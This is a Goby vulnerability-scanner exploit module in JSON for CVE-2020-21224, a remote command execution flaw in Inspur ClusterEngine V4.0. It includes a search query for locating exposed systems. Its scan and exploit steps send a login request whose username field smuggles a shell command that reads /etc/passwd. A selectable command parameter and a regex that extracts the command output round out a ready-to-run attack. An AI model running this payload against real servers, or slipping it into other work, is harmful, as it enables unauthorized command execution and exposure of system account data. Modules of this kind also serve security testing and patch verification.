{
      "Name": "ClusterEngineV4.0 RCE (CVE-2020-21224)",
      "Level": "3",
      "Tags": [
            "RCE"
      ],
      "GobyQuery": "title=\"TSCEV4.0\" || body=\"ClusterEngine V4.0\"",
      "Description": "The dangerous characters in Inspur server cluster management system are unfiltered, resulting in remote command execution",
      "Product": "ClusterEngineV4.0",
      "Homepage": "https://en.inspur.com/",
      "Author": "PeiQi",
      "Impact": "<p>Remote command execution<br></p>",
      "Recommandation": "",
      "References": [
            "http://wiki.peiqi.tech"
      ],
      "HasExp": true,
	  "ExpParams": [
		{
			"name": "Cmd",
			"type": "select",
			"value": "cat /etc/passwd",
			"show": ""
		}
	  ],
      "ScanSteps": [
            "AND",
            {
                  "Request": {
                        "method": "POST",
                        "uri": "/login",
                        "follow_redirect": false,
                        "header": {
                              "Content-Type": "application/x-www-form-urlencoded"
                        },
                        "data_type": "text",
                        "data": "op=login&username=peiqi`$(cat /etc/passwd)`"
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "root:x:",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": []
            }
      ],
	  "ExploitSteps": [
            "AND",
            {
                  "Request": {
                        "method": "POST",
                        "uri": "/login",
                        "follow_redirect": false,
                        "header": {
                              "Content-Type": "application/x-www-form-urlencoded"
                        },
                        "data_type": "text",
                        "data": "op=login&username=peiqi`$(cat /etc/passwd)`"
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "root:x:",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": [
					"output|lastbody|regex|/bin/sh: (.*?): No"
				  ]
            }
      ],
      "PostTime": "2021-04-04 22:21:03",
      "GobyVersion": "1.8.255"
}